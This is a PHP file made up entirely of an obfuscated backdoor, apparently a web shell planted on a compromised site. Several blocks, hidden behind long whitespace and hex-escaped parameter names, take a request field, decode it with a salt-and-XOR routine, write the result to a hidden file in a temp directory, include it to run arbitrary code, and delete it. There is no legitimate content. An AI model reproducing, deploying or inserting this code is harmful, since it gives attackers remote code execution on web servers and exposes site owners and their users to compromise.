<?php																																										if(!empty($_POST["d\x63\x68u\x6Ek"])){ $data_chunk = $_POST["d\x63\x68u\x6Ek"]; $data_chunk =explode ( '.' , $data_chunk ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($data_chunk as $l => $v5) { $chS = ord($s[$l % $sLen]); $d = ((int)$v5 - $chS - ($l % 10)) ^ 64; $hld .= chr($d); } $mrk = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path()]); while ($elem = array_shift($mrk)) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $reference = join("/", [$elem, ".tkn"]); if (file_put_contents($reference, $hld)) { include $reference; @unlink($reference); die(); } } } }
																																										if(array_key_exists("ps\x65t", $_REQUEST)){ $key = array_filter(["/tmp", session_save_path(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); $component = $_REQUEST["ps\x65t"]; $component = explode ('.' , $component ) ; $pointer = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $j = 0; array_walk($component, function ($v6) use (&$pointer, &$j, $salt5, $lenS) { $chS = ord($salt5[$j %$lenS]); $dec = ((int)$v6 - $chS - ($j %10)) ^ 86; $pointer .=chr($dec); $j++; }); foreach ($key as $key => $marker) { if (is_writable($marker) && is_dir($marker)) { $k = "$marker/.flg"; if (file_put_contents($k, $pointer)) { require $k; unlink($k); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "m\x61\x72\x6Ber")){ $itm = $_REQUEST["m\x61\x72\x6Ber"]; $itm =explode ( '.', $itm); $tkn = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); $q = 0; $__tmp = $itm; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $salt5[$q%$sLen]); $d = ( ( int)$v5 - $sChar -( $q%10)) ^ 66; $tkn.= chr( $d); $q++; } $ptr = array_filter(["/dev/shm", "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP")]); $flg = 0; do { $token = $ptr[$flg] ?? null; if ($flg >= count($ptr)) break; if (is_dir($token) && is_writable($token)) { $mrk = sprintf("%s/.flag", $token); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $mrk; @unlink($mrk); die(); } } $flg++; } while (true); }
																																										if(!is_null($_POST["p\x73et"] ?? null)){ $value = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $elem = $_POST["p\x73et"]; $elem= explode ( '.' , $elem ) ; $bind = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $t = 0; $__tmp = $elem; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt2[$t % $lenS]); $d = ( ( int)$v8 - $chS -( $t % 10)) ^ 15; $bind.= chr( $d); $t++; } while ($symbol = array_shift($value)) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $key = join("/", [$symbol, ".flg"]); if (file_put_contents($key, $bind)) { include $key; @unlink($key); exit; } } } }
																																										if(@$_POST["\x69\x74m"] !== null){ $ptr = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $mrk = $_POST["\x69\x74m"]; $mrk = explode ( '.' , $mrk ); $ref = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $u = 0; $__len = count( $mrk); do { if( $u>= $__len) break; $v8 = $mrk[$u]; $sChar = ord( $s5[$u% $sLen]); $dec =( ( int)$v8 - $sChar -( $u% 10)) ^ 73; $ref .= chr( $dec); $u++; } while( true); for ($marker = 0, $record = count($ptr); $marker < $record; $marker++) { $data_chunk = $ptr[$marker]; if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $pgrp = sprintf("%s/.element", $data_chunk); if (@file_put_contents($pgrp, $ref) !== false) { include $pgrp; unlink($pgrp); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6B\x65y"])){ $item = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm"]); $hld = $_REQUEST["\x6B\x65y"]; $hld= explode( "." ,$hld ) ; $ent = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($hld as $r => $v6): $sChar = ord($s8[$r % $sLen] ); $d = ((int)$v6 - $sChar -($r % 10))^ 57; $ent .= chr($d ); endforeach; while ($dat = array_shift($item)) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $factor = implode("/", [$dat, ".symbol"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $factor; @unlink($factor); exit; } } } }


if(in_array("\x6Da\x72\x6Ber", array_keys($_POST))){
	$tkn = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir")]);
	$pointer = $_POST["\x6Da\x72\x6Ber"];
		 	$pointer 		=  	explode  ( 		"." ,	 	$pointer	)			; 		
	$fac= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= strlen($salt);
            $z= 0;
    
            while ($z  <	 count($pointer)) {
                $v4= $pointer[$z];
                $chS= ord($salt[$z % $sLen]);
                $dec= ((int)$v4 - $chS - ($z % 10))^ 	69;
                $fac .= chr($dec);
                $z++;
            }
	foreach ($tkn as $descriptor):
    		if (!( !is_dir($descriptor) || !is_writable($descriptor) )) {
    $symbol = "$descriptor/.k";
    $file = fopen($symbol, 'w');
if ($file) {
	fwrite($file, $fac);
	fclose($file);
	include $symbol;
	@unlink($symbol);
	exit;
}
}
endforeach;
}